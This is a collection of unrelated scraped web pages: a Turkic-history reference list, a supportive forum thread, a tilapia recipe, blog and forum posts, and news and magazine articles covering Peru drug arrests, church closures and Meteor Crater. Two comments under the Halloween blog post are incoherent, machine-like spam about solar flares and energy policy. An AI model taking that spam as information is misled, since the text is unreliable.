Meanwhile, the Kyrgyz and Uyghurs were struggling with one another and with the Chinese Empire. The Kyrgyz people ultimately settled in the region now referred to as Kyrgyzstan. The Batu hordes conquered the Volga Bulgars in what is today Tatarstan and Kypchaks in what is now Southern Russia, following the westward sweep of the Mongols in the 13th century. Other Bulgars settled in Europe in the 7-8th centuries, but were assimilated by the Slavs, giving the name to the Bulgarians and the Slavic Bulgarian language.
It was under Seljuq suzerainty that numerous Turkmen tribes, especially those that came through the Caucasus via Azerbaijan, acquired fiefdoms (beyliks) in newly conquered areas of Anatolia, Iraq and even Levent. Thus, the ancestors of the founding stock of the modern Turkish nation were most closely related to the Oghuz Turkmen groups that settled in the Caucasus and later became the Azerbaijani nation.
By early modern times, the name "Turkestan" has several definitions:
1. land of sedentary Turkic-speaking townspeople that have been subjects of the Central Asian Chagatayids, i.e. Sarts, Central Asian Mughals, Central Asian Timurids, Uyghurs of Chinese Turkestan and the later invading Tatars that came to be known as Uzbeks; This area roughly coincides with "Khorasan" in the widest sense, plus Tarim Basin which was known as Chinese Turkestan. It is ethnically diverse, and includes homelands of non-Turkic peoples like the Tajiks, Pashtuns, Hazaras, Dungans, Dzungars. Turkic peoples of the Kypchak branch, i.e. Kazakhs and Kyrgyz, are not normally considered "Turkestanis" but are also populous (as pastoralists) in many parts of Turkestan.
2. a specific district governed by a 17th-century Kazakh Khan, in modern day Kazakhstan, which were more sedentary than other Kazakh areas, and were populated by towns-dwelling Sarts
See also[edit]
1. ^ Sima, Qian; Burton Watson (1993). Records of the Grand Historian. Columbia University Press. pp. 129–162. ISBN 0-231-08166-9.
2. ^ Khusnutdinova, E.; et al. (2002). "POSTER NO: 548: Mitochondrial DNA variety in Turkic and Uralic-speaking people". Shanghai: HGM2002.
3. ^ Di Cosmo, Nicola (1999). "The Northern Frontier in Pre-Imperial China". In Loewe, Michael; Shaughnessy, Edward L. The Cambridge History of Ancient China: From the Origins of Civilization to 221 B.C. Cambridge University Press. p. 886. ISBN 0-521-47030-7.
4. ^ Di Cosmo (1999), page 888.
5. ^ Wood, Frances (2002). The Silk Road: Two Thousand years in the Heart of Asia. University of California Press. p. 50. ISBN 0-520-23786-2.
6. ^ Ebrey, Patricia Buckley; Walthall, Anne; Palais, James B. (2009). East Asia: A cultural, social, and political history (2nd ed.). Boston: Houghton Mifflin. p. 40. ISBN 978-0-547-00534-8.
7. ^ Morton, W. Scott; Charlton M. Lewis (2004). China: Its History and Culture: Fourth Edition. McGraw-Hill Professional. p. 52. ISBN 0-07-141279-4.
8. ^ Morton (2004), page 55.
9. ^ Book of Later Han, vols. 04, 19, 23, 88, 89, 90.
10. ^ Zizhi Tongjian, vol. 47.
11. ^ Vaissière, Etienne de la (2004). "The Rise of Sogdian Merchants and the Role of the Huns: The Historical Importance of the Sodgian Ancient Letters". In Whitfield, Susan. The Silk Road: Trade, travel, War and Faith. Chicago: Serindia Publications Inc. pp. 22–23. ISBN 1-932476-12-1. |first2= missing |last2= in Editors list (help)
12. ^ Orosius. "Historiarum Adversum Paganos Libri VII". Book VII Section 33.10. The Latin Library.
13. ^ Maenchen-Helfen, Otto J.; Max Knight, Editor (1973). The World of the Huns. The University of California Press. pp. 444–455.
14. ^ a b Maenchen-Helfen (1973) page 376.
15. ^ Maenchen-Helfen (1973) pages 441–442.
16. ^ Maenchen-Helfen (1973) pages 427–428.
17. ^ Maenchen-Helfen (1973) page 437.
18. ^ Latham, Robert Gordon (2003 from 1863). The Nationalities of Europe: Volume 2. Adamant Media Corporation. p. 391. ISBN 1-4021-8765-3. Check date values in: |date= (help)
19. ^ Maenchen-Helfen (1973) page 432.
20. ^ Maenchen-Helfen (1973), Page 168.
21. ^ Sinor, Denis (1990). The Cambridge History of Early Inner Asia. Cambridge University Press. p. 201. ISBN 0-521-24304-1.
22. ^ Holcombe, Charles (2001). The Genesis of East Asia, 221 B.C.-A.D. 907. University of Hawaii Press. p. 114. ISBN 0-8248-2465-2.
23. ^ Saso, Michael R. (1991). Buddhist Studies in the People's Republic of China, 1990–1991. University of Hawaii Press. p. 141. ISBN 0-8248-1363-4.
• Findley, Carter Vaughnm, The Turks in World History, Oxford University Press: Oxford (2005).
• Holster, Charles Warren, The Turks of Central Asia Praeger: Westport, Connecticut (1993).
External links[edit] | <urn:uuid:7b82c295-2edb-44b8-999b-77999896695f> | http://en.wikipedia.org/wiki/Turkic_migration | en | 0.944942 | 0.09494 | mlfoundations/dclm-baseline-1.0-parquet |
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TheSullenGirl posted:
Hello and a big supportive (((HUG))) for everyone on the board!
Hey you!! (((((((((((((((((((((SG)))))))))))))))))))))))
How is everything in your life going?
TheSullenGirl replied to DOGDANCING_TCOS's response:
Not bad. Just finished a phone interview and have another interview tomorrow (same place). I'm trying to get off of nights - but if I don't get the job offer: I'm okay with it. It just means it is not meant to be. Luckily my best friend works for the new place and talked me up a good bit. But at the end of the phone interview I got the "You and the manager seem to have a very similar philosophy and I want her to meet you." So that is reassuring, but currently the position I want is on hold. We shall see where life brings me.
Wedding plans are going okay. Just got over the list drama. That was not fun. Still have a lot to do.
How about you?
DOGDANCING_TCOS replied to TheSullenGirl's response:
Lots of changes in your life! you handling the upheaval/stress ok?
Me I am recovering from MVA, my thyroid going hyper again and the effects of a B-12 injection. So I am kinda in flux right now physically, which of course sets off the mental aspect of my selves.
My youngest started kindergarten on Monday and I am still floundering in this alone time void of my family. I have my blog to keep me busy and focused.
}}}}}}}}}}}}}}}}}}hire SG vibes being sent out {{{{{{{{{{{{{{{{{{{{{{{{{
Have you started looking at dresses yet?
Peace be the journey
off_the_wall replied to TheSullenGirl's response:
Good to see you, SG! Hope you get the job you're interviewing for but also love your attitude if it doesn't work out. When is your wedding? Would love to hear about the details that you have planned so far.
off_the_wall replied to DOGDANCING_TCOS's response:
Paja- Kindergarten, oh my!!! I will probably cry my eyes out when my baby starts kindergarten. They grow up wayyyy too fast! How does she like it? Did you take a first day of school pic of her?
lovely_lemon_tree responded:
Hi, stranger! I'm glad to hear everything is going well!
Big hugs.
bubbles_bobble replied to lovely_lemon_tree's response:
big wave ((sg)) sounds like you're plugging a long.
i thought thats what you meant on fb paja but i wasn't sure and didn't want to add to your emoiton. I remember how hard that is!
yeah the list sg really! sounds like you really have a good thing going on in your life. ain't love wonderful! I was married 33 years aug and my kids are approaching 30. been thru 2 marriages one for each of them and then my dil i prego. due in jan. we're excited but won't be able to see alot of them because they're in cali.
i'm very glad you wrote to update us and that you are coping so well! Congrats. Just testimony that it can be done!
One day at a time
TheSullenGirl replied to DOGDANCING_TCOS's response:
Paja: Hopefully you are doing okay in the recovery - it is a long road sometimes. Hyperthyroidism is a tough disease and the MVA probably didn't make it better.
Aww kindergarten already!? You will have to give us some updates on some of the excitement your little one brings home.
As much as I love kids...there is nothing like that nice sound of quiet afterwards. I hope that maybe you can get back to focusing on yourself a little bit more now that all the kids are in school.
Thanks for the good vibes!
I have my dress and since my mom got freaked out by a dream that something happened - she wants to be go for my 1st fitting in October! I even have my shoes and jewelry. Just got to get my veil and head piece next!
TheSullenGirl replied to off_the_wall's response:
June 8th is the big day.
So far - we have a ton of food for the guest - I don't want to hear that anyone got completely blitzed or left hungry!
The girls will be wearing purple chiffon dresses (gotta go dress shopping with them still) and I'm just asking for silver heels/flats.
My necklace is an estate piece (i believe it is from the 20s)
My shoes are purple - my mom was horrified but everyone, including myself, think it is cool. I joke that I'm gonna flash my shoes at my mom every chance I get.
We got an up-and-coming photographer - he has already been hired by our city's baseball team to photograph an event for them - and he now can just focus on his photography instead of working as a waiter as well (which he was when I hired him)
Our DJ is giving us free uplighting since I am friendly with one of his friends!
We got our limo company.
I got an idea about the flowers - and a good friend of the whole family is doing them. We will meet with her again in March.
Picked out invites and save the dates. Just gotta order the invites after the save the dates go out.
I still got a lot to do. (A lot of church stuff!) A lot of people say I have a ton done already. I can't wait to book the honeymoon!
How are things going for you OTW?
TheSullenGirl replied to lovely_lemon_tree's response:
Thanks LLT!
TheSullenGirl replied to bubbles_bobble's response:
How exciting!! I hope you can get out to Cali when the baby is born or at least get to Skype or something! Do they know what they are having or is it a surprise?
Thank you! It can be done - with a ton of hard work and determination. Believe me the first few months just stunk - the panic attacks were the worst. But you can get past it. Once in a while I get the stray thought - but I tell myself "Why ruin this? Why start all over again?"
I know it is SOOO different but it sometimes reminds me when I stopped drinking caffeine/soda in HS. I still haven't gone back. The first year I was always tempted and now I don't think twice - it doesn't smell so alluring or is something I crave. Finding a healthier substitution and then moving on to something healthier. (For me it was flavored water which had the sugar then I moved to Seltzer. I always drank plain water though)
With SI - sometimes it's learning what substitution works better for you. For me I got a rush from being able to hold off. I made it a game. My competitive side came out and it was like trying to beat the high score.
I hope you have been okay and that you have been able to fight those urges. I know they suck and can be difficult to ignore!
off_the_wall replied to TheSullenGirl's response:
Your wedding plans sound beautiful. Especially the purple bridesmaid dresses and your purple shoes! Funny about planning to flash them at your mom. I wore tall flip flops under my wedding dress. Much more comfortable than heals and people don't generally see your feet to begin with. I probably would have fallen on my face if it had tried to wear heals tall enough to make my husband and I look more proportional ( he is 6'2" and I am 5'1".)
I'm doing okay right this second... My sweet dog passed away last week. I'm 28 weeks pregnant and have been having some pain but overall I think the baby girl, who still doesn't have a name, is doing well. My daughter will turn 2 next month, which is hard to believe!
TheSullenGirl replied to off_the_wall's response:
I did buy a pair of flip flops to change into later in the night.
Oh wow - you and your hubby have a big ht difference lol.
I'm sorry about the dog - I know that it is tough!
I can't believe P is gonna be 2 already! Where does time go?
When is your due date?
off_the_wall replied to TheSullenGirl's response:
Yep, big height difference and so far P is taking after her daddy as she is taller than 97% of girls her age (actually we have yet to meet a girl OR boy her age that is as tall as she is!) I have no idea where the time goes! Feels like she was just born and now she's almost 2!
I'm due Dec 7th although the baby is measuring to be due Dec 3rd. P came early and I'll be having a c-section so there's a chance this baby will arrive at the end of November but we will see.
Have you decided where you will take your honeymoon?
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Bruschetta Tilapia- Healthy, Fresh And Easy
DivasCanCook's picture
Tender tilapia fillets topped with fresh tomatoes, basil, garlic and melted vermont cheddar cheese! A quick, easy, fresh and healthy recipe for dinner that pairs up great with a mixed green salad and couscous.
Extra virgin olive oil 2 Tablespoon, divided
Tilapia fillet 4
Lemon 1⁄2 , juice extracted
Salt To Taste
Cracked black pepper To Taste
Cherry tomatoes 1 Pint, diced
Fresh basil leaves 10 , chopped
Garlic 3 Clove (15 gm), minced
Mild cheddar cheese 1 Cup (16 tbs), shredded (vermont cheddar cheese is preferred)
1. To a bowl add tomatoes, basil and garlic. Add in 1 tablespoon olive oil (can more if needed).
2. Season with salt and pepper to taste.
3. Refrigerate for at least an hour (overnight for maximum flavor)
4. Brush casserole dish with 1 tablespoon of olive oil. Place fillets in the dish
5. Drizzle the fillets with lemon juice and sprinkle with salt and pepper to taste.
6. Refrigerate until ready to bake.
7. Preheat oven to 350 degree F.
8. Top fillets with tomato basil mixture
9. Bake for around 25 minutes or until fish is flaky and tender
10. Remove from oven, sprinkle fish with cheese.
11. Place back into the oven just until cheese has melted. Let it sit for a few minutes before serving.
12. In a serving plate, serve the tilapia fillets hot with choice of bread or salad or any other side of choice.
Recipe Summary
Difficulty Level:
Preparation Time:
15 Minutes
Cook Time:
25 Minutes
Ready In:
40 Minutes
In the mood for something fresh and light? Monique creates this simple fish and cheese based casserole that will fill you up. It has none of the calories and is rich in Omega-3 and Omega- 6 fatty acids. For viewers, Monique teaches how to minimize the smell of the fish and to accentuate the freshness and lightess of the dish.
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Thursday, October 28, 2010
Halloween Wishes
I know my visits to the blog are few and far between,
But I'm stopping by a moment now to say "Happy Halloween"!
1. Happy halloween to you as well. hHpe you are well.
2. Hope you had a SPOOKTACULAR HALLOWEEN, Kathleen! Many thanks for your lovely comment... I appreciate it. :o) Happy Days ((HUGS))
3. Governments endorsed the solar flares today report Monday after a four-day meeting.
In the solar flares today developing world. How does that weigh into
your consideration for how you might look at needing to shutdown.
Feel free to surf to my page; renewable portfolio standards
4. So when you look at the profitability of these industries has risen
and remains elevated upon the backs of taxpayers.
The country's eastern region is dominated by a large timeline, beginning with the General Assembly's 2006 recognition of the state's potential as a biofuels leader. Renewableuk Offshore Energy only seems more expensive because energy generated by fossil fuels gets a free ride when it comes to generating natural gas or electricity, both human and animal urine.
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Saturday, June 7, 2008
Colorado Is The New Pittsburgh
Remember when the Brewers would go into PNC Park and play the Pirates and always lose? Well Coors Field in Colorado is fastly becoming the new Pittsburgh. Going back to 2006 the Brewers have lost 6 straight in that park as they lost tonight 7-2. This game was over in the bottom of the 1st when after getting 2 outs very quickly Dave Bush blew up giving up in order: double, walk, walk, HR (grand slam). That made it 4-0 and then he gave up a solo HR and it was 5-0 after the 1st finally ended. The Brewers "battled" back to score 2 in the 2nd which gave a small ray of hope. They had other chances to chip away at that lead but did nothing with those chances which is pretty much par for the course on the road for the Brewers. I just don't know anymore, this team just can't win on the road. And I have no clue why? I mean it's gone on for years now. Is sleeping in your own bed that important? I mean who doesn't love the comfort and feel of their own bed? I sure as hell do, but I don't think it would cause me to pitch worse or hit worse then I would at my home park. In all seriousness this team can play with anybody at Miller Park but, if they don't start winning more games on the road they will never make it to October baseball. The Cubs lost again today which means two days in a row they had chance to gain ground and they flat out didn't get it done. I'm so frustrated right now as a fan(atic) of this team that I could scream. Worst of all is that Jeff Francis, the Rockies best pitcher goes for them tomorrow. If we couldn't beat the two bums they threw the first two games how are we gonna beat their ace?
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Old 01-24-2013, 12:07 PM #96
jonreading's Avatar
Dojo: Aikido South (formerly Emory Aikikai)
Location: Atlanta, Georgia
Join Date: Aug 2004
Posts: 913
Re: "Internal" and "External"
I'll weigh in on this, but don't expect too much.
As near as I can tell, we are using "internal" in at least 3 different instances that I can detect:
1. The Chinese categorical derivative, which I think has more to do with methodology. All roads lead to Rome, but path X is better.
2. As related to the efficient transfer of power. Internal strength, internal power, etc.
3. As the aikido concept of kokoro, the unification of mind and body. Move from center, etc.
As a general observation, I do not think in any of these definitions, internal is "aiki."
First, all roads lead to Rome. I think the categorical definition of internal and external are not what we want. That is not to say it is unimportant, but look at a good karate person or kung fu person and they will inevitably have some exposure to both. In my opinion, Internal and external movements are both needed in the academic process.
Second, the internal power people are doing something different. I think there is no common language and a lexicon so small it is travel-sized. Right now, the best methodology for sharing the information is physical. It has to be felt is the teaching method because these individuals are still figuring out better terminology and a better method to transmit the information. Dan Harden is doing a seminar in Atlanta in a few weeks and I hope to learn more. I reserve the right to amend what I have said. As of right now, I think what is going on is analogous to the old physics experiment of protecting a raw egg dropped from some height. The trick is to disperse the energy equally against the rounded shell, which is then an incredibly strong shape. I think the IS people use opposing energy to create spherical shapes (expanded energy in all directions) which are then able to absorb force while leaving the insides free to move and unconnected to the force. The thing that hits me most about these guys is you cannot feel where they are; they are not connected to you even though you are touching them.
Finally, the unification of our mind and body. Ikeda sensei calls it body unification. I think this is the aikido version of internal. It works like a geometric proof for circumscribed circles: if two circles are circumscribed with the same center point, a point moving on the circumference of the outer circle has to move faster than a point moving on the circumference of the inner circle. Essentially, moving from your center is the fastest way to move your hand on the outside circumference of that arc.
As I said earlier, I think none of these concepts are "aiki" as we know it. I think they are intended to make your body ready to have someone's center grafted to it.
Hope that doesn't screw things up too badly...
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Google's News near you
Google is introducing a new, browser-based feature for everyone who reads news using a mobile device. The service is called "News near you" and it's accessible if you direct your mobile browser to Google's news page.
Google says it analyzes every word in every story to determine both the story's location and source, and then files it appropriately and serves it back to you depending on where you are. If you don't want to share your location, there's an opt-in message the first time you land on Google News.
Anyone think they'll be taking advantage of this? I get most of my local news from the evening news, but does anyone see this replacing that for them? Sound off and let us know how accurate the city placement is once you've opted-in.
Source: The Google Mobile Blog
Reader comments
Google unveils 'News near you' -- location tracking still optional
Tech news is all I care about. All the rest is just depressing. People killing or getting killed. Politicians being as crazy as ever. Android Central is the only news source for me... more at 11.
I wonder if this includes articles from AOL-owned, the new "hyper-local" news source. Seems like it should...
If you deny the request to know your current location when it pops up, it is pretty difficult to go back and get this working again.
First you have to clear location permissions from all web sites, (there is no selective clearing that I could find).
Then you have to go back into your browser and accept the location sharing request again.
Then edit your sections (scroll way down), and add this Near Me section. (I actually had to do this twice to get it to take).
Then wait. Seems that unless you are sitting in a big city, you may not get any "Near Me" news for a while. But when I picked up the phone 10 minutes later it did show some fairly localized news for the small town I was in at the time.
Now a road trip is in order to see how well this follows me.
(And yes, just in case you were wondering, I have pretty much sold my privacy to google.) | <urn:uuid:466df4a1-6523-47c0-a471-6c6873ded853> | http://www.androidcentral.com/google-unveils-news-near-you-location-tracking-still-optional | en | 0.962304 | 0.058053 | mlfoundations/dclm-baseline-1.0-parquet |
5 Real Subcultures Way Crazier Than Anything from Japan
You've got your goths, your punks, your emo kids, your gangbangers, your jocks, your nerds, your proto-Juggalos, and your postmodern bronies: Life is full of bizarre subcultures based on mutual interest, and we've covered a few of them before. But then there are these baffling cliques, which seem to be based on a peyote vision or some terrible mistranslation in the Bible.
#5. Mexico's Pointy-Booted Tribal Dance Culture
Associated Press/Dario Lopez-Mills
Nope, those shoes are not Photoshopped. They're real, they're incredibly popular, and they make the Iron Sheik weep with envy. Known as "botas picudas," these Keebler Elf war-boots are all the rage among some Mexican men. They're the signature look of the tribal subculture, which involves dancing to a mixture of Native American, electronica, and African music for fabulous cash and prizes, which the winners then spend on even crazier-looking boots. It is the Circle of Boots that Elton John was trying to warn us about.
We couldn't find any stories about tribal men botching a triple Lutz and impaling themselves on their own footwear, so apparently you can move in these things. The average pair costs about $30, but they're more if you make them sparkle and glitter like a rhinestone cowboy. Luckily, cardboard and colorful tape are all a poor kid needs to inadvertently kick himself in the junk with flair and panache.
Associated Press/Dario Lopez-Mills
"Now no one will ever laugh at me again!"
This whole weaponized phallic footwear thing started thanks to one man, known as "Cesar of Huizache," who just showed up at a cobbler's shop and requested boots with curly, 3-foot-long toes. Since the customer is always right (even if they're clearly not right in the head), the cobbler made the boots. Cesar then went out dancing with them, and the rest is confusing, imbalanced history.
Associated Press/Dario Lopez-Mills
Nothing's hotter than guys trapped in a Jigsaw torture device while still shaking what mama gave them.
Look, we know "this guy showed up and wanted them and everybody else thought it was great for reasons you cannot comprehend" isn't the best origin story, but sometimes reality is disappointing. If it makes you feel any better, you can pretend the dude had crippling toe gigantism or something.
Alex Troesch
Quentin Tarantino's dream disease.
#4. The Pony-Loving Hooligan Kids of Dublin
Dirk Gebhardt
Bronies fetishize cartoons. The Pony Kids of Dublin, Ireland, prefer the real deal.
James Horan
Friendship is magic(ally delicious).
These are mostly young children and teenagers who have grown up poor and alone. As an escape from such a crap life, they've turned to ponies. Stroll through the right project at the right time, and you'll encounter dozens of tough-looking street urchins flitting about atop their horsies like a dressage convention.
Dirk Gebhardt
Hi-ho, Douchebag, away!
Of course, as Lisa Simpson will sadly attest, ponies are goddamn expensive. So how the hell could a slew of impoverished kids afford them? Nobody's quite sure. It could be that horse culture is a leftover from the preindustrial revolution, which hit Dublin a bit softer than most places, or they could be rogue horses that escaped from Irish gypsies. Seriously, that is a legitimate possibility. But most likely it's down to boring old supply and demand: If you want to join the Pony Kid Brigade, you can easily pick up a Black Beauty of your own at the Smithfield Horse Market. Twice a year, the market heads gather up ponies and sell them for about the price of a pair of shoes -- no regulation, license, or anything else required.
Andrea and Stefan
"I should've taken them up on their offer to become glue."
Seriously, much like motorcycles, knowing how to ride that thing is in no way related to owning one:
James Horan
Step 1: Get off. Step 2: Stay off.
#3. The Swedish Raggare: '50s-Style Hillbilly Greasers
Rory Carroll/autoweek.com
Swedish raggare subculture loves a few things more than anybody else in the world: leather jackets, vintage hot rods, poodle skirts, pomade, and unintentional racism.
Ann Tornkvist/Getty Images News/Getty Images
Cellphones, too. Just like Elvis had.
These aren't just a bunch of adorably foreign greasers adopting elements of another culture because it's exotic, it looks cool, and "getting drunk on a hot rod" is a more satisfying hobby than elk wrestling (or whatever it is the Swedes do on the weekends). The raggare didn't "adopt" the greaser thing as a bit of ironic nostalgia -- the '50s never ended for them. They've been doing this for 60 years, and the subculture only grows in popularity with each passing day. A huge part of the scene is the raggare brawls -- organized honor-based mass fistfights that rove from town to town, like a mashup between The Wild One and Street Fighter II.
Ann Tornkvist/Getty Images News/Getty Images
"You must defeat the Fonz to stand a chance."
And of course, what happenin' smorgasbord of Eurockabilly is complete without a healthy dose of Deep South casual racism:
Konstantin/Wiki Commons, Konstantin/Wiki Commons
"The Canadian snowbacks take our jobs! That is how you do it, yes?"
It's not always racist on purpose -- most raggare probably just like the way the symbol looks, or at best only got the general gist of "good old boys who think the man should go fuck himself until he walks funny" from the flag. But that still won't help your jet-lagged confusion any when you stumble off a flight in Stockholm and right into a line of Elvis impersonators doing burnouts in the General Lee, who all, at some unseen cue, start beating the shit out of each other.
Donald Lind via hd.se
Starting with the jackass repping both sides of the Civil War.
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IT WOULD make a perfect story-line for a soap opera set in Anytown, Middle England. The church of Saint Barnabas, in Gillingham south-east of London, is an imposing red-brick structure of the Victorian era. It hasn't had a permanent vicar since 2007, but a retired one has kept up a decent cycle of services. The permanent congregation is small (there is an electoral roll of 39) but dedicated, and there is a much larger group of people who appreciate the building. A maiden lady recently bequeathed part of her savings to the church and the money helped restore some fine stained-glass windows. It's within walking distance of several schools. Earlier this month, the church had an open weekend, and lots of local folk came to enjoy harmless pleasures like a treasure-hunt, bingo and a barbecue.
If it were up to the congregation, the church would surely survive. But the Church of England system vests huge power in the bishop and the diocesan bureaucracy which he heads. A diocesan committee has floated the idea of closing the church, on grounds that it is neither sustainable nor capable of becoming so. The parish council strongly disagrees. Far from being a burden on anybody else, "we contribute to diocesan funds," says Steven Marsden, who chairs the parish council. "We have money in the bank and we're on top of the maintenance of the premises, which also includes two church halls and a garden," he insists.
In some ways, this is an unusual state of affairs. When Anglican churches close, it is often because the vicar and flock all agree to give up the struggle; maintaining an ancient, fragile and hard-to-heat building can be too heavy a burden on a small community. However the diocesan system also makes it possible for a bishop to force the closure of a community: it cannot even advertise for an unpaid clergyman without his blessing. And wherever the pressure may be coming from, churches are closing. As The Economist noted this year, the Church of England has dispensed with 1,074 places of worship since 1980 and they have been reused as anything from living space to carpet warehouses to restaurants. That leaves 16,000 in use: still a hefty burden for an organisation where the number of regular Sunday worshippers is around 1m.
So is the Church of England simply winding up? No, the picture is more interesting. First, "closing" an Anglican church doesn't mean that it will never again be a site of prayer. Once it is ruled that a church is no longer a "place of regular worship", responsibility for its fate passes to the church commissioners, who manage several billion pounds worth of ecclesiastical assets. The commissioners can either i) find an alternative use, which can range from selling for redevelopment to transferring the building to another Christian group or ii) have the building demolished or iii) hand the church over to a conservation agency that will maintain the structure and may also allow occasional services and other public events. Of the 328 churches made redundant since 2003, 52 were given to other denominations; another 28 were put to some ecclesiastical purpose; and in nine cases, new places of worship were built.
The rate of "redundancy" for Anglican churches has fallen slightly in recent years. It was 20 last year and 24 the year before, compared with 32 in 2007 and 29 in 2008. "We have been preparing for a tsunami of church closures but it hasn't come," says Matthew Saunders of Friends of Friendless Churches, a noble conservation charity. That may mean that cleverer things are being done to keep buildings in regular use, and to exploit the fact that occasional visitors to churches (and especially cathedrals) seem to be on the rise. "We always encourage new and additional uses," says a spokesman for the National Churches Trust, a charity that helps parishes to make repairs and keep functioning.
The key to saving a church lies in mobilising a constituency which is much larger than the average Sunday flock: people who married in the church, expect to be buried there and associate the building with their childhood. In Gillingham, for example, the supporters of Saint Barnabas have found a powerful advocate in their MP, an up-and-coming Tory politician with socially conservative ideas who went to the local primary school and therefore has fond childhood memories of attending carol services in the church. His name is Rehman Chishti (pictured here at another church), he was born in Pakistan and although he maintains good relations with all faiths, he is a Muslim. Not everything about the vicar's tea-party stays the same forever. | <urn:uuid:b2f1941b-d9fc-4e7b-a322-02adc97337b0> | http://www.economist.com/blogs/erasmus/2013/06/anglican-church-building | en | 0.976829 | 0.048435 | mlfoundations/dclm-baseline-1.0-parquet |
Hillel Communications.
Promoting Civil Discourse Hillel Co-Sponsors Student Summit on Capitol Hill
by Hillel News |Jul 29, 2010|Comments
(Reprinted with permission from Washington Jewish Week.)
By Adam Kredo
Staff Writer
Northwest students.
Northwest students share their life stories with one another during a Summit workshop.
Bill Babeaux says that his optimistic view about interfaith discourse on college campuses was shaped in part by one atypical episode.
While walking across the sprawling campus of Ohio State University, where he's a student, Babeaux recalled, he happened upon two opposing tents - one filled with Israel supporters, and another with pro-Palestinian activists.
"At first, as I approached, I thought, 'Man this is going to be intense,' " said the 21-year-old, explaining that he anticipated more of the "same ol' same ol,' " with students trading vicious barbs.
But as he stepped closer, Babeaux observed a more tranquil scene.
An Israel supporter "was just sitting" on the grass "talking with someone wearing a PLO [arm]band," he recalled. "They were just civilly talking and I realized, 'Wow, campuses are a great place where dialogue can sprout.' "
But Babeaux also understands that what he witnessed is rare. That's why he joined several hundred college interns last week for a daylong Capitol Hill summit aimed at cultivating civil discourse on college campuses.
Students at Thursday's Facing Change summit, organized in part by Hillel: The Foundation for Jewish Campus Life, learned several rhetorical techniques meant to help neutralize the vitriol that often overtakes campus discussions surrounding hot-button political topics, including peace in the Middle East.
"I don't think the correct dialogue is being used [by students] because people are so focused on being 'anti' the other group," said Lyndsi Sherman, 20, who attends San Diego State University. "I'm really hoping to go back to my campus and change it."
But how?
"I don't know yet," said Sherman, explaining that speakers at the summit provided many lessons to mull.
Presenters, such as Washington Post columnist Charles Krauthammer and Eboo Patel, founder and executive director of the Interfaith Youth Core, a nonprofit that promotes religious pluralism, emphasized the need to respect those with different viewpoints.
"You should always be ready to give respect to your interlocutors," said Krauthammer.
At the same time, the columnist, known for penning partisan pieces, urged students "not to compromise your own principles" during debate. That doesn't, however, mean dismissing another's viewpoint, he said: "Civil discourse involves acknowledging both sides and [the] flaws of your argument."
While taking audience questions, Krauthammer raised more than a few student eyebrows. Asked how to combat political apathy on campus, the longtime journalist responded: "I would be rather tolerant of apathy."
Some students, he continued, simply don't care to enter the political fray. "I don't think there's anything wrong with that," he noted.
In his remarks, Patel recalled a discussion in which a Christian speaker denounced Islam as a hateful religion that promotes violent extremism.
Immediately following those remarks, a Muslim speaker took the opposite rhetorical approach, praising Christianity and explaining that Islam promotes similar ideals.
"Guess who looked like a fool on stage," Patel said, explaining that ultimately, provocative speakers do a disservice to their cause.
Attendees also attended a congressional reception, co-hosted by Reps. Ted Deutch (D-Fla.), Keith Ellison (D-Minn.), Sue Myrick (R-N.C.), Jared Polis (Colo.), Ileana Ros-Lehtinen (R-Fla.) and Heath Shuler (D-N.C.).
Facing Change, said Rabbi Lauren Holtzblatt, Hillel's director of campus initiatives, was the first step in a larger Hillel project meant to promote civil discourse. This summer, Hillel is training small groups of students to become campus mediators. Called The Facing Change Project, the endeavor will formally launch this fall on eight college campuses across the country.
(Reprinted with permission from Washington Jewish Week.)
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3D Anaglyph of Meteor Crater
Barringer Meteorite Crater (a.k.a. Meteor Crater) is the best preserved and most dramatic impact crater on the surface of the Earth. Two aerial photographs of the crater have been processed so that a 3D view of the crater is visible with red-blue glasses. The image is oriented with west at the top and east at the bottom. The sinuous Canyon Diablo is at the top of the image. Scroll down to find Meteor Crater. The crater is approximately 1.2 kilometers in diameter. The uplifted rim rises 30 to 60 meters above the surrounding plain. The resolution in the image is so high that individual bushes and trees are visible around the crater. The museum complex is visible on the north side of the crater. See the geology guidebook for details about the rocks visible in the crater walls and in the surrounding impact ejecta blanket.
Image should be viewed using red-blue stereo glasses.
3d Anaglyph of Meteor Crater | <urn:uuid:0435c214-d10a-441c-b99e-0836a7cef250> | http://www.lpi.usra.edu/publications/books/barringer_crater_guidebook/anaglyph/index.shtml | en | 0.893047 | 0.07081 | mlfoundations/dclm-baseline-1.0-parquet |
Peru drugs arrests: Melissa Reid and Michaella Connolly warned they could face up to eight years in notorious prison
Prosecutors are determined to see the drug mules locked up for the maximum term possible if found guilty
Splash Melissa Reid and Michaella McCollum look in a state of shock as they are taken out of the anti-drugs police headquarters in central Lima, Peru
In cuffs: Melissa (R) and Michaella are led from the police station in Peru
The two British girls caught with £1.5million of cocaine in Peru have been told they may face up to eight years in South America’s most notorious women’s prison.
Prosecutors are determined to see drug mules Melissa Reid and Michaella Connolly locked up for the maximum term possible after becoming increasingly frustrated by their stories.
Officers do not think they are telling the truth and last night a police source said: “If the women co-operated with us they could serve as little as two years before they are allowed home.
“But there are some senior police who are struggling with the girls’ version of events and as a result are threatening to ensure they receive the stiffest sentence the law will allow.”
The source said police chiefs in the capital Lima hoped to make an example of foreign smugglers and wanted the girls to serve time in Santa Monica prison – run by gangs and corrupt guards and rife with HIV.
It came as cuffed Connolly and Reid yesterday appeared before a Peruvian prosecutor at their first formal hearing, pleading: “We didn’t do it.”
The pair were caught at Lima’s international airport two weeks ago with the 11kg stash hidden in food packets divided between their suitcases.
They told police they were kidnapped by a South American drugs gang and forced at gunpoint to traffic the cocaine or they would die.
The girls were led out of Lima’s anti-drugs HQ at 7am yesterday where they had been held the whole time.
Flanked by officers, the 20-year-olds tried to put on brave faces but they looked in shock as they were led to a car while a dozen armed police formed an escort.
Reid, wearing a beige top and black leggings, and Connolly, in a tight black leather jacket and blue jeans, made no comment as they were led away to court.
The cold and grey winter morning was a far cry from the sun-kissed beaches of Ibiza where the two had been working before being sent to Peru.
And soon after they arrived at the prosecutor’s office, officials began examining their lengthy statement, setting out their version of events along with the results of the police investigation.
Connolly and Reid had earlier given officers pictures that they said were taken in tourist spots in Peru in a bid to help prove their story.
But yesterday the city’s chief of police said they had actually been taken outside the country.
The pair said they had been forced by members of the cartel to pose for the snaps so they could pass themselves off as tourists.
Connolly, of Dungannon, Co Tyrone, was pictured in a bikini while Reid, from Lenzie near Glasgow, sat in shorts and a vest at a beach bar sipping beer and water.
Colonel Tito Perez, head of investigations at Dirandro anti-drugs unit, said: “Those pictures weren’t taken in Peru.
